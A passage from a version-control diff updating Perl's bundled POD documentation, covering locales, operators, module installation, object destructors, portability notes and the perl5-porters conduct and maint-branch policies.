+strings and C<s///> substitutions; and case-insensitive regular expression
 pattern matching using the C<i> modifier.
 
 Starting in v5.20, Perl supports UTF-8 locales for C<LC_CTYPE>, but
@@ -1429,12 +1486,10 @@
 =head2 An imperfect standard
 
 Internationalization, as defined in the C and POSIX standards, can be
-criticized as incomplete, ungainly, and having too large a granularity.
-(Locales apply to a whole process, when it would arguably be more useful
-to have them apply to a single thread, window group, or whatever.)  They
-also have a tendency, like standards groups, to divide the world into
-nations, when we all know that the world can equally well be divided
-into bankers, bikers, gamers, and so on.
+criticized as incomplete and ungainly.  They also have a tendency, like
+standards groups, to divide the world into nations, when we all know
+that the world can equally well be divided into bankers, bikers, gamers,
+and so on.
 
 =head1 Unicode and UTF-8
 
@@ -1526,7 +1581,7 @@
 Unicode meaning (or the equivalent on EBCDIC platforms).  Since Latin1 is a
 subset of Unicode and 0xD7 is the multiplication sign in both Latin1 and
 Unicode, C<\p{Alpha}> will never match it, regardless of locale.  A similar
-issue occurs with C<\N{...}>.  Prior to v5.20, It is therefore a bad
+issue occurs with C<\N{...}>.  Prior to v5.20, it is therefore a bad
 idea to use C<\p{}> or
 C<\N{}> under plain C<use locale>--I<unless> you can guarantee that the
 locale will be ISO8859-1.  Use POSIX character classes instead.
@@ -1602,8 +1657,53 @@
 in many locales, this control, whatever it might be, will rarely be
 encountered.  But there are cases where a C<NUL> should sort before this
 control, but doesn't.  If two strings do collate identically, the one
-containing the C<NUL> will sort to earlier.
+containing the C<NUL> will sort to earlier.  Prior to 5.26, there were
+more bugs.
 
+=head2 Multi-threaded
+
+XS code or C-language libraries called from it that use the system
+L<C<setlocale(3)>> function (except on Windows) likely will not work
+from a multi-threaded application without changes.  See
+L<perlxs/Locale-aware XS code>.
+
+An XS module that is locale-dependent could have been written under the
+assumption that it will never be called in a multi-threaded environment,
+and so uses other non-locale constructs that aren't multi-thread-safe.
+See L<perlxs/Thread-aware system interfaces>.
+
+POSIX does not define a way to get the name of the current per-thread
+locale.  Some systems, such as Darwin and NetBSD do implement a
+function, L<querylocale(3)> to do this.  On non-Windows systems without
+it, such as Linux, there are some additional caveats:
+
+=over
+
+=item *
+
+An embedded perl needs to be started up while the global locale is in
+effect.  See L<perlembed/Using embedded Perl with POSIX locales>.
+
+=item *
+
+It becomes more important for perl to know about all the possible
+locale categories on the platform, even if they aren't apparently used
+in your program.  Perl knows all of the Linux ones.  If your platform
+has others, you can send email to L<mailto:perlbug at perl.org> for
+inclusion of it in the next release.  In the meantime, it is possible to
+edit the Perl source to teach it about the category, and then recompile.
+Search for instances of, say, C<LC_PAPER> in the source, and use that as
+a template to add the omitted one.
+
+=item *
+
+It is possible, though hard to do, to call C<POSIX::setlocale> with a
+locale that it doesn't recognize as syntactically legal, but actually is
+legal on that system.  This should happen only with embedded perls, or
+if you hand-craft a locale name yourself.
+
+=back
+
 =head2 Broken systems
 
 In certain systems, the operating system's locale support
@@ -1620,10 +1720,7 @@
 =head1 SEE ALSO
 
 L<I18N::Langinfo>, L<perluniintro>, L<perlunicode>, L<open>,
-L<POSIX/isalnum>, L<POSIX/isalpha>,
-L<POSIX/isdigit>, L<POSIX/isgraph>, L<POSIX/islower>,
-L<POSIX/isprint>, L<POSIX/ispunct>, L<POSIX/isspace>,
-L<POSIX/isupper>, L<POSIX/isxdigit>, L<POSIX/localeconv>,
+L<POSIX/localeconv>,
 L<POSIX/setlocale>, L<POSIX/strcoll>, L<POSIX/strftime>,
 L<POSIX/strtod>, L<POSIX/strxfrm>.
 
@@ -1634,4 +1731,4 @@
 
 Jarkko Hietaniemi's original F<perli18n.pod> heavily hacked by Dominic
 Dunlop, assisted by the perl5-porters.  Prose worked over a bit by
-Tom Christiansen, and updated by Perl 5 porters.
+Tom Christiansen, and now maintained by Perl 5 porters.

Modified: vendor/perl/dist/pod/perlmodinstall.pod
===================================================================
--- vendor/perl/dist/pod/perlmodinstall.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlmodinstall.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -164,79 +164,6 @@
 
 =item *
 
-B<If you're using a Macintosh with "Classic" MacOS and MacPerl,>
-
-
-A. DECOMPRESS
-
-First, make sure you have the latest B<cpan-mac> distribution (
-L<http://www.cpan.org/authors/id/CNANDOR/> ), which has utilities for
-doing all of the steps.  Read the cpan-mac directions carefully and
-install it.  If you choose not to use cpan-mac for some reason, there
-are alternatives listed here.
-
-After installing cpan-mac, drop the module archive on the
-B<untarzipme> droplet, which will decompress and unpack for you.
-
-B<Or>, you can either use the shareware B<StuffIt Expander> program
-( L<http://my.smithmicro.com/mac/stuffit/> )
-or the freeware B<MacGzip> program (
-L<http://persephone.cps.unizar.es/general/gente/spd/gzip/gzip.html> ).
-
-B. UNPACK
-
-If you're using untarzipme or StuffIt, the archive should be extracted
-now.  B<Or>, you can use the freeware B<suntar> or I<Tar> (
-L<http://hyperarchive.lcs.mit.edu/HyperArchive/Archive/cmp/> ).
-
-C. BUILD
-
-Check the contents of the distribution.
-Read the module's documentation, looking for
-reasons why you might have trouble using it with MacPerl.  Look for
-F<.xs> and F<.c> files, which normally denote that the distribution
-must be compiled, and you cannot install it "out of the box."
-(See L</"PORTABILITY">.)
-
-D. INSTALL
-
-If you are using cpan-mac, just drop the folder on the
-B<installme> droplet, and use the module.
-
-B<Or>, if you aren't using cpan-mac, do some manual labor.
-
-Make sure the newlines for the modules are in Mac format, not Unix format.
-If they are not then you might have decompressed them incorrectly.  Check
-your decompression and unpacking utilities settings to make sure they are
-translating text files properly.
-
-As a last resort, you can use the perl one-liner:
-
-    perl -i.bak -pe 's/(?:\015)?\012/\015/g' <filenames>
-
-on the source files.
-
-Then move the files (probably just the F<.pm> files, though there
-may be some additional ones, too; check the module documentation)
-to their final destination: This will
-most likely be in C<$ENV{MACPERL}site_lib:> (i.e.,
-C<HD:MacPerl folder:site_lib:>).  You can add new paths to
-the default C<@INC> in the Preferences menu item in the
-MacPerl application (C<$ENV{MACPERL}site_lib:> is added
-automagically).  Create whatever directory structures are required
-(i.e., for C<Some::Module>, create
-C<$ENV{MACPERL}site_lib:Some:> and put
-C<Module.pm> in that directory).
-
-Then run the following script (or something like it):
-
-     #!perl -w
-     use AutoSplit;
-     my $dir = "${MACPERL}site_perl";
-     autosplit("$dir:Some:Module.pm", "$dir:auto", 0, 1, 1);
-
-=item *
-
 B<If you're on the DJGPP port of DOS,>
 
    A. DECOMPRESS
@@ -416,7 +343,7 @@
 There are too many modules, and too few Orwants, for me to be able to
 answer or even acknowledge all your questions.  Contact the module
 author instead, ask someone familiar with Perl on your operating
-system, or if all else fails, file a ticket at http://rt.cpan.org/.
+system, or if all else fails, file a ticket at L<http://rt.cpan.org/>.
 
 =head1 AUTHOR
 

Modified: vendor/perl/dist/pod/perlobj.pod
===================================================================
--- vendor/perl/dist/pod/perlobj.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlobj.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -589,7 +589,7 @@
   my $mp3 = File::MP3->new( 'Regin.mp3', $data );
   $mp3->File::save();
 
-When you a fully qualified method name like C<File::save>, the method
+When you call a fully qualified method name like C<File::save>, the method
 resolution search for the C<save> method starts in the C<File> class,
 skipping any C<save> method the C<File::MP3> class may have defined. It
 still searches the C<File> class's parents if necessary.
@@ -931,16 +931,23 @@
 C<$_[0]> variable will be read-only in the destructor, so you cannot
 assign a value to it.
 
-If your C<DESTROY> method throws an error, this error will be ignored.
-It will not be sent to C<STDERR> and it will not cause the program to
-die. However, if your destructor is running inside an C<eval {}> block,
-then the error will change the value of C<$@>.
+If your C<DESTROY> method throws an exception, this will not cause
+any control transfer beyond exiting the method.  The exception will be
+reported to C<STDERR> as a warning, marked "(in cleanup)", and Perl will
+continue with whatever it was doing before.
 
-Because C<DESTROY> methods can be called at any time, you should
-localize any global variables you might update in your C<DESTROY>. In
-particular, if you use C<eval {}> you should localize C<$@>, and if you
-use C<system> or backticks you should localize C<$?>.
+Because C<DESTROY> methods can be called at any time, you should localize
+any global status variables that might be set by anything you do in
+your C<DESTROY> method.  If you are in doubt about a particular status
+variable, it doesn't hurt to localize it.  There are five global status
+variables, and the safest way is to localize all five of them:
 
+  sub DESTROY {
+      local($., $@, $!, $^E, $?);
+      my $self = shift;
+      ...;
+  }
+
 If you define an C<AUTOLOAD> in your class, then Perl will call your
 C<AUTOLOAD> to handle the C<DESTROY> method. You can prevent this by
 defining an empty C<DESTROY>, like we did in the autoloading example.

Modified: vendor/perl/dist/pod/perlop.pod
===================================================================
--- vendor/perl/dist/pod/perlop.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlop.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -27,18 +27,38 @@
 Operator precedence and associativity work in Perl more or less like
 they do in mathematics.
 
-I<Operator precedence> means some operators are evaluated before
-others.  For example, in S<C<2 + 4 * 5>>, the multiplication has higher
-precedence so S<C<4 * 5>> is evaluated first yielding S<C<2 + 20 ==
-22>> and not S<C<6 * 5 == 30>>.
+I<Operator precedence> means some operators group more tightly than others.
+For example, in C<2 + 4 * 5>, the multiplication has higher precedence, so C<4
+* 5> is grouped together as the right-hand operand of the addition, rather
+than C<2 + 4> being grouped together as the left-hand operand of the
+multiplication. It is as if the expression were written C<2 + (4 * 5)>, not
+C<(2 + 4) * 5>. So the expression yields C<2 + 20 == 22>, rather than
+C<6 * 5 == 30>.
 
-I<Operator associativity> defines what happens if a sequence of the
-same operators is used one after another: whether the evaluator will
-evaluate the left operations first, or the right first.  For example, in
-S<C<8 - 4 - 2>>, subtraction is left associative so Perl evaluates the
-expression left to right.  S<C<8 - 4>> is evaluated first making the
-expression S<C<4 - 2 == 2>> and not S<C<8 - 2 == 6>>.
+I<Operator associativity> defines what happens if a sequence of the same
+operators is used one after another: whether they will be grouped at the left
+or the right. For example, in C<9 - 3 - 2>, subtraction is left associative,
+so C<9 - 3> is grouped together as the left-hand operand of the second
+subtraction, rather than C<3 - 2> being grouped together as the right-hand
+operand of the first subtraction. It is as if the expression were written
+C<(9 - 3) - 2>, not C<9 - (3 - 2)>. So the expression yields C<6 - 2 == 4>,
+rather than C<9 - 1 == 8>.
 
+For simple operators that evaluate all their operands and then combine the
+values in some way, precedence and associativity (and parentheses) imply some
+ordering requirements on those combining operations. For example, in C<2 + 4 *
+5>, the grouping implied by precedence means that the multiplication of 4 and
+5 must be performed before the addition of 2 and 20, simply because the result
+of that multiplication is required as one of the operands of the addition. But
+the order of operations is not fully determined by this: in C<2 * 2 + 4 * 5>
+both multiplications must be performed before the addition, but the grouping
+does not say anything about the order in which the two multiplications are
+performed. In fact Perl has a general rule that the operands of an operator
+are evaluated in left-to-right order. A few operators such as C<&&=> have
+special evaluation rules that can result in an operand not being evaluated at
+all; in general, the top-level operator in an expression has control of
+operand evaluation.
+
 Perl operators have the following associativity and precedence,
 listed from highest precedence to lowest.  Operators borrowed from
 C keep the same precedence relationship with each other, even where
@@ -243,18 +263,16 @@
 width, remember to use the C<"&"> operator to mask off the excess bits.
 X<~> X<negation, binary>
 
-When complementing strings, if all characters have ordinal values under
-256, then their complements will, also.  But if they do not, all
-characters will be in either 32- or 64-bit complements, depending on your
-architecture.  So for example, C<~"\x{3B1}"> is C<"\x{FFFF_FC4E}"> on
-32-bit machines and C<"\x{FFFF_FFFF_FFFF_FC4E}"> on 64-bit machines.
+Starting in Perl 5.28, it is a fatal error to try to complement a string
+containing a character with an ordinal value above 255.
 
-If the experimental "bitwise" feature is enabled via S<C<use feature
-'bitwise'>>, then unary C<"~"> always treats its argument as a number, and an
+If the "bitwise" feature is enabled via S<C<use
+feature 'bitwise'>> or C<use v5.28>, then unary
+C<"~"> always treats its argument as a number, and an
 alternate form of the operator, C<"~.">, always treats its argument as a
 string.  So C<~0> and C<~"0"> will both give 2**32-1 on 32-bit platforms,
-whereas C<~.0> and C<~."0"> will both yield C<"\xff">.  This feature
-produces a warning unless you use S<C<no warnings 'experimental::bitwise'>>.
+whereas C<~.0> and C<~."0"> will both yield C<"\xff">.  Until Perl 5.28,
+this feature produced a warning in the C<"experimental::bitwise"> category.
 
 Unary C<"+"> has no effect whatsoever, even on strings.  It is useful
 syntactically for separating a function name from a parenthesized expression
@@ -262,7 +280,12 @@
 arguments.  (See examples above under L</Terms and List Operators (Leftward)>.)
 X<+>
 
-Unary C<"\"> creates a reference to whatever follows it.  See L<perlreftut>
+Unary C<"\"> creates references.  If its operand is a single sigilled
+thing, it creates a reference to that object.  If its operand is a
+parenthesised list, then it creates references to the things mentioned
+in the list.  Otherwise it puts its operand in list context, and creates
+a list of references to the scalars in the list provided by the operand.
+See L<perlreftut>
 and L<perlref>.  Do not confuse this behavior with the behavior of
 backslash within a string, although both forms do convey the notion
 of protecting the next thing from interpolation.
@@ -333,11 +356,16 @@
 execute faster.
 X<%> X<remainder> X<modulo> X<mod>
 
-Binary C<"x"> is the repetition operator.  In scalar context or if the left
-operand is not enclosed in parentheses, it returns a string consisting
-of the left operand repeated the number of times specified by the right
-operand.  In list context, if the left operand is enclosed in
-parentheses or is a list formed by C<qw/I<STRING>/>, it repeats the list.
+Binary C<x> is the repetition operator.  In scalar context, or if the
+left operand is neither enclosed in parentheses nor a C<qw//> list,
+it performs a string repetition.  In that case it supplies scalar
+context to the left operand, and returns a string consisting of the
+left operand string repeated the number of times specified by the right
+operand.  If the C<x> is in list context, and the left operand is either
+enclosed in parentheses or a C<qw//> list, it performs a list repetition.
+In that case it supplies list context to the left operand, and returns
+a list consisting of the left operand list repeated the number of times
+specified by the right operand.
 If the right operand is zero or negative (raising a warning on
 negative), it returns an empty string
 or an empty list, depending on the context.
@@ -542,7 +570,7 @@
 C<L<Unicode::Collate::Locale>> modules offer much more powerful
 solutions to collation issues.
 
-For case-insensitive comparisions, look at the L<perlfunc/fc> case-folding
+For case-insensitive comparisons, look at the L<perlfunc/fc> case-folding
 function, available in Perl v5.16 or later:
 
     if ( fc($x) eq fc($y) ) { ... }
@@ -845,10 +873,10 @@
 
     print "Even\n" if ($x & 1) == 0;
 
-If the experimental "bitwise" feature is enabled via S<C<use feature
-'bitwise'>>, then this operator always treats its operand as numbers.  This
-feature produces a warning unless you also use C<S<no warnings
-'experimental::bitwise'>>.
+If the "bitwise" feature is enabled via S<C<use feature 'bitwise'>> or
+C<use v5.28>, then this operator always treats its operands as numbers.
+Before Perl 5.28 this feature produced a warning in the
+C<"experimental::bitwise"> category.
 
 =head2 Bitwise Or and Exclusive Or
 X<operator, bitwise, or> X<bitwise or> X<|> X<operator, bitwise, xor>
@@ -868,10 +896,10 @@
 
     print "false\n" if (8 | 2) != 10;
 
-If the experimental "bitwise" feature is enabled via S<C<use feature
-'bitwise'>>, then this operator always treats its operand as numbers.  This
-feature produces a warning unless you also use S<C<no warnings
-'experimental::bitwise'>>.
+If the "bitwise" feature is enabled via S<C<use feature 'bitwise'>> or
+C<use v5.28>, then this operator always treats its operands as numbers.
+Before Perl 5.28. this feature produced a warning in the
+C<"experimental::bitwise"> category.
 
 =head2 C-style Logical And
 X<&&> X<logical and> X<operator, logical, and>
@@ -1206,7 +1234,7 @@
 side of the assignment.
 
 The three dotted bitwise assignment operators (C<&.=> C<|.=> C<^.=>) are new in
-Perl 5.22 and experimental.  See L</Bitwise String Operators>.
+Perl 5.22.  See L</Bitwise String Operators>.
 
 =head2 Comma Operator
 X<comma> X<operator, comma> X<,>
@@ -1765,7 +1793,7 @@
 C</o> modifier has is not propagated, being restricted to those patterns
 explicitly using it.
 
-The last four modifiers listed above, added in Perl 5.14,
+The C</a>, C</d>, C</l>, and C</u> modifiers (added in Perl 5.14)
 control the character set rules, but C</a> is the only one you are likely
 to want to specify explicitly; the other three are selected
 automatically by various pragmas.
@@ -1998,8 +2026,8 @@
 Notice that the final match matched C<q> instead of C<p>, which a match
 without the C<\G> anchor would have done.  Also note that the final match
 did not update C<pos>.  C<pos> is only updated on a C</g> match.  If the
-final match did indeed match C<p>, it's a good bet that you're running a
-very old (pre-5.6.0) version of Perl.
+final match did indeed match C<p>, it's a good bet that you're running an
+ancient (pre-5.6.0) version of Perl.
 
 A useful idiom for C<lex>-like scanners is C</\G.../gc>.  You can
 combine several regexps like this to process a string part-by-part,
@@ -2064,12 +2092,13 @@
 C<m>.
 
 =item C<s/I<PATTERN>/I<REPLACEMENT>/msixpodualngcer>
-X<substitute> X<substitution> X<replace> X<regexp, replace>
+X<s> X<substitute> X<substitution> X<replace> X<regexp, replace>
 X<regexp, substitute> X</m> X</s> X</i> X</x> X</p> X</o> X</g> X</c> X</e> X</r>
 
 Searches a string for a pattern, and if found, replaces that pattern
 with the replacement text and returns the number of substitutions
-made.  Otherwise it returns false (specifically, the empty string).
+made.  Otherwise it returns false (a value that is both an empty string (C<"">)
+and numeric zero (C<0>) as described in L</Relational Operators>).
 
 If the C</r> (non-destructive) option is used then it runs the
 substitution on a copy of the string and instead of returning the
@@ -2348,7 +2377,8 @@
 
     split(" ", q/STRING/);
 
-the differences being that it generates a real list at compile time, and
+the differences being that it only splits on ASCII whitespace,
+generates a real list at compile time, and
 in scalar context it returns the last element in the list.  So
 this expression:
 
@@ -2459,23 +2489,37 @@
 	untouched.
 
 If the C</c> modifier is specified, the I<SEARCHLIST> character set
-is complemented.  If the C</d> modifier is specified, any characters
+is complemented. So for example these two are equivalent (the exact
+maximum number will depend on your platform):
+
+    tr/\x00-\xfd/ABCD/c
+    tr/\xfe-\x{7fffffff}/ABCD/
+
+If the C</d> modifier is specified, any characters
 specified by I<SEARCHLIST> not found in I<REPLACEMENTLIST> are deleted.
 (Note that this is slightly more flexible than the behavior of some
 B<tr> programs, which delete anything they find in the I<SEARCHLIST>,
-period.)  If the C</s> modifier is specified, sequences of characters
-that were transliterated to the same character are squashed down
-to a single instance of the character.
+period.)
 
+If the C</s> modifier is specified, runs of the same character in the
+result, where each those characters were substituted by the
+transliteration, are squashed down to a single instance of the character.
+
 If the C</d> modifier is used, the I<REPLACEMENTLIST> is always interpreted
 exactly as specified.  Otherwise, if the I<REPLACEMENTLIST> is shorter
 than the I<SEARCHLIST>, the final character is replicated till it is long
 enough.  If the I<REPLACEMENTLIST> is empty, the I<SEARCHLIST> is replicated.
 This latter is useful for counting characters in a class or for
-squashing character sequences in a class.
+squashing character sequences in a class. For example, each of these pairs
+are equivalent:
 
-Examples:
+    tr/abcd//            tr/abcd/abcd/
+    tr/abcd/AB/          tr/abcd/ABBB/
+    tr/abcd//d           s/[abcd]//g
+    tr/abcd/AB/d         (tr/ab/AB/ + s/[cd]//g)  - but run together
 
+Some examples:
+
     $ARGV[1] =~ tr/A-Z/a-z/;	# canonicalize to lower case ASCII
 
     $cnt = tr/*/*/;		# count the stars in $_
@@ -2672,12 +2716,12 @@
     END
 
 If you want your here-docs to be indented with the rest of the code,
-you'll need to remove leading whitespace from each line manually:
+use the C<<< <<~FOO >>> construct described under L</Indented Here-docs>:
 
-    ($quote = <<'FINIS') =~ s/^\s+//gm;
+    $quote = <<~'FINIS';
        The Road goes ever on and on,
        down from the door where it began.
-    FINIS
+       FINIS
 
 If you use a here-doc within a delimited construct, such as in C<s///eg>,
 the quoted material must still come on the line following the
@@ -3064,9 +3108,12 @@
 odd thing to you, but you'll use the construct in almost every Perl
 script you write.)  The C<$_> variable is not implicitly localized.
 You'll have to put a S<C<local $_;>> before the loop if you want that
-to happen.
+to happen.  Furthermore, if the input symbol or an explicit assignment
+of the input symbol to a scalar is used as a C<while>/C<for> condition,
+then the condition actually tests for definedness of the expression's
+value, not for its regular truth value.
 
-The following lines are equivalent:
+Thus the following lines are equivalent:
 
     while (defined($_ = <STDIN>)) { print; }
     while ($_ = <STDIN>) { print; }
@@ -3272,6 +3319,13 @@
     @files = glob("$dir/*.[ch]");
     @files = glob($files[$i]);
 
+If an angle-bracket-based globbing expression is used as the condition of
+a C<while> or C<for> loop, then it will be implicitly assigned to C<$_>.
+If either a globbing expression or an explicit assignment of a globbing
+expression to a scalar is used as a C<while>/C<for> condition, then
+the condition actually tests for definedness of the expression's value,
+not for its regular truth value.
+
 =head2 Constant Folding
 X<constant folding> X<folding>
 
@@ -3337,16 +3391,15 @@
     $baz = 0+$foo & 0+$bar;	# both ops explicitly numeric
     $biz = "$foo" ^ "$bar";	# both ops explicitly stringy
 
-This somewhat unpredictable behavior can be avoided with the experimental
-"bitwise" feature, new in Perl 5.22.  You can enable it via S<C<use feature
-'bitwise'>>.  By default, it will warn unless the C<"experimental::bitwise">
-warnings category has been disabled.  (S<C<use experimental 'bitwise'>> will
-enable the feature and disable the warning.)  Under this feature, the four
+This somewhat unpredictable behavior can be avoided with the "bitwise"
+feature, new in Perl 5.22.  You can enable it via S<C<use feature
+'bitwise'>> or C<use v5.28>.  Before Perl 5.28, it used to emit a warning
+in the C<"experimental::bitwise"> category.  Under this feature, the four
 standard bitwise operators (C<~ | & ^>) are always numeric.  Adding a dot
 after each operator (C<~. |. &. ^.>) forces it to treat its operands as
 strings:
 
-    use experimental "bitwise";
+    use feature "bitwise";
     $foo =  150  |  105;	# yields 255  (0x96 | 0x69 is 0xFF)
     $foo = '150' |  105;	# yields 255
     $foo =  150  | '105';	# yields 255
@@ -3362,9 +3415,10 @@
 The assignment variants of these operators (C<&= |= ^= &.= |.= ^.=>)
 behave likewise under the feature.
 
-The behavior of these operators is problematic (and subject to change)
-if either or both of the strings are encoded in UTF-8 (see
-L<perlunicode/Byte and Character Semantics>.
+It is a fatal error if an operand contains a character whose ordinal
+value is above 0xFF, and hence not expressible except in UTF-8.  The
+operation is performed on a non-UTF-8 copy for other operands encoded in
+UTF-8.  See L<perlunicode/Byte and Character Semantics>.
 
 See L<perlfunc/vec> for information on how to manipulate individual bits
 in a bit vector.

Modified: vendor/perl/dist/pod/perlpacktut.pod
===================================================================
--- vendor/perl/dist/pod/perlpacktut.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlpacktut.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -799,7 +799,7 @@
    my $txt = unpack( 'A4/A*', $buf );
 
 C</> is not implemented in Perls before 5.6, so if your code is required to
-work on older Perls you'll need to C<unpack( 'Z* Z* C')> to get the length,
+work on ancient Perls you'll need to C<unpack( 'Z* Z* C')> to get the length,
 then use it to make a new unpack string. For example
 
    # pack a message: ASCIIZ, ASCIIZ, length, string, byte

Modified: vendor/perl/dist/pod/perlpolicy.pod
===================================================================
--- vendor/perl/dist/pod/perlpolicy.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlpolicy.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -84,9 +84,9 @@
 
 =item *
 
-We "officially" support the two most recent stable release series.  5.20.x
-and earlier are now out of support.  As of the release of 5.26.0, we will
-"officially" end support for Perl 5.22.x, other than providing security
+We "officially" support the two most recent stable release series.  5.22.x
+and earlier are now out of support.  As of the release of 5.28.0, we will
+"officially" end support for Perl 5.24.x, other than providing security
 updates as described below.
 
 =item *
@@ -359,20 +359,28 @@
 Historically, only the pumpking cherry-picked changes from bleadperl
 into maintperl.  This has scaling problems.  At the same time,
 maintenance branches of stable versions of Perl need to be treated with
-great care. To that end, as of Perl 5.12, we have a new process for
+great care.  To that end, as of Perl 5.12, we have a new process for
 maint branches.
 
-Any committer may cherry-pick any commit from blead to a maint branch if
-they send mail to perl5-porters announcing their intent to cherry-pick
-a specific commit along with a rationale for doing so and at least two
-other committers respond to the list giving their assent. (This policy
-applies to current and former pumpkings, as well as other committers.)
+Any committer may cherry-pick any commit from blead to a maint branch by
+first adding an entry to the relevant voting file in the maint-votes branch
+announcing the commit as a candidate for back-porting, and then waiting for
+at least two other committers to add their votes in support of this (i.e. a
+total of at least three votes is required before a commit may be back-ported).
 
-Other voting mechanisms may be used instead, as long as the same number of
-votes is gathered in a transparent manner.  Specifically, proposals of
-which changes to cherry-pick must be visible to everyone on perl5-porters
-so that the views of everyone interested may be heard.
+Most of the work involved in both rounding up a suitable set of candidate
+commits and cherry-picking those for which three votes have been cast will
+be done by the maint branch release manager, but anyone else is free to add
+other proposals if they're keen to ensure certain fixes don't get overlooked
+or fear they already have been.
 
+Other voting mechanisms may also be used instead (e.g. sending mail to
+perl5-porters and at least two other committers responding to the list
+giving their assent), as long as the same number of votes is gathered in a
+transparent manner.  Specifically, proposals of which changes to cherry-pick
+must be visible to everyone on perl5-porters so that the views of everyone
+interested may be heard.
+
 It is not necessary for voting to be held on cherry-picking perldelta
 entries associated with changes that have already been cherry-picked, nor
 for the maint-pumpking to obtain votes on changes required by the
@@ -537,8 +545,9 @@
 =head1 STANDARDS OF CONDUCT
 
 The official forum for the development of perl is the perl5-porters mailing
-list, mentioned above, and its bugtracker at rt.perl.org.  All participants in
-discussion there are expected to adhere to a standard of conduct.
+list, mentioned above, and its bugtracker at rt.perl.org.  Posting to the
+list and the bugtracker is not a right: all participants in discussion are
+expected to adhere to a standard of conduct.
 
 =over 4
 
@@ -546,15 +555,18 @@
 
 Always be civil.
 
-=item * 
+=item *
 
 Heed the moderators.
 
 =back
 
-Civility is simple:  stick to the facts while avoiding demeaning remarks and
-sarcasm.  It is not enough to be factual.  You must also be civil.  Responding
-in kind to incivility is not acceptable.
+Civility is simple: stick to the facts while avoiding demeaning remarks,
+belittling other individuals, sarcasm, or a presumption of bad faith. It is
+not enough to be factual.  You must also be civil.  Responding in kind to
+incivility is not acceptable.  If you relay otherwise-unposted comments to
+the list from a third party, you take responsibility for the content of
+those comments, and you must therefore ensure that they are civil.
 
 While civility is required, kindness is encouraged; if you have any doubt about
 whether you are being civil, simply ask yourself, "Am I being kind?" and aspire
@@ -563,16 +575,30 @@
 If the list moderators tell you that you are not being civil, carefully
 consider how your words have appeared before responding in any way.  Were they
 kind?  You may protest, but repeated protest in the face of a repeatedly
-reaffirmed decision is not acceptable.
+reaffirmed decision is not acceptable.  Repeatedly protesting about the
+moderators' decisions regarding a third party is also unacceptable, as is
+continuing to initiate off-list contact with the moderators about their
+decisions.
 
-Unacceptable behavior will result in a public and clearly identified warning.
-Repeated unacceptable behavior will result in removal from the mailing list and
-revocation of rights to update rt.perl.org.  The first removal is for one
-month.  Subsequent removals will double in length.  After six months with no
-warning, a user's ban length is reset.  Removals, like warnings, are public.
+Unacceptable behavior will result in a public and clearly identified
+warning.  A second instance of unacceptable behavior from the same
+individual will result in removal from the mailing list and rt.perl.org,
+for a period of one calendar month.  The rationale for this is to
+provide an opportunity for the person to change the way they act.
 
+After the time-limited ban has been lifted, a third instance of
+unacceptable behavior will result in a further public warning.  A fourth
+or subsequent instance will result in an indefinite ban.  The rationale
+is that, in the face of an apparent refusal to change behavior, we must
+protect other community members from future unacceptable actions.  The
+moderators may choose to lift an indefinite ban if the person in
+question affirms they will not transgress again.
+
+Removals, like warnings, are public.
+
 The list of moderators will be public knowledge.  At present, it is:
-Aaron Crane, Andy Dougherty, Ricardo Signes, Sawyer X, Steffen Müller.
+Aaron Crane, Andy Dougherty, Karen Etheridge, Ricardo Signes, Sawyer X,
+Steffen Müller, Todd Rinaldo.
 
 =head1 CREDITS
 

Modified: vendor/perl/dist/pod/perlport.pod
===================================================================
--- vendor/perl/dist/pod/perlport.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlport.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -436,7 +436,7 @@
 
     1 while unlink "file";
 
-This will terminate if the file is undeleteable for some reason
+This will terminate if the file is undeletable for some reason
 (protected, not there, and so on).
 
 Don't count on a specific environment variable existing in
@@ -1362,7 +1362,7 @@
     Directory and File =~ m|[^\0- "\.\$\%\&:\@\\^\|\177]+|
 
 The default filename translation is roughly C<tr|/.|./|>, swapping dots
-and slahes.
+and slashes.
 
 Note that C<"ADFS::HardDisk.$.File" ne 'ADFS::HardDisk.$.File'> and that
 the second stage of C<$> interpolation in regular expressions will fall
@@ -1591,6 +1591,10 @@
 Setting the exec bit on some locations (generally F</sdcard>) will return true
 but not actually set the bit.
 
+(VMS)
+A mode argument of zero sets permissions to the user's default permission mask
+rather than disabling all permissions.
+
 =item chown
 
 (S<Plan 9>, S<RISC OS>)
@@ -2140,8 +2144,12 @@
 Does not automatically flush output handles on some platforms.
 
 (VMS)
-The return value is POSIX-like (shifted up by 8 bits), which only allows
-room for a made-up value derived from the severity bits of the native
+As with Win32, C<system(1, @args)> spawns an external process and
+immediately returns its process designator without waiting for the
+process to terminate.  In this case the return value may be used subsequently
+in L<C<wait>|perlfunc/wait> or L<C<waitpid>|perlfunc/waitpid PID,FLAGS>.
+Otherwise the return value is POSIX-like (shifted up by 8 bits), which only
+allows room for a made-up value derived from the severity bits of the native
 32-bit condition code (unless overridden by
 L<C<use vmsish 'status'>|vmsish/C<vmsish status>>).  If the native
 condition code is one that has a POSIX value encoded, the POSIX value will
@@ -2408,7 +2416,6 @@
         Open UNIX       (Unixware) (since Perl 5.8.1/5.9.0)
         OS/2
         OS/400          (using the PASE) (since Perl 5.8.1/5.9.0)
-        PowerUX
         POSIX-BC        (formerly BS2000)
         QNX
         Solaris

Modified: vendor/perl/dist/pod/perlre.pod
===================================================================
--- vendor/perl/dist/pod/perlre.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlre.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -192,7 +192,7 @@
 characters.  These are called "bracketed character classes" when we are
 being precise, but often the word "bracketed" is dropped.  (Dropping it
 usually doesn't cause confusion.)  This means that the C<"["> character
-is another metacharacter.  It doesn't match anything just by itelf; it
+is another metacharacter.  It doesn't match anything just by itself; it
 is used only to tell Perl that what follows it is a bracketed character
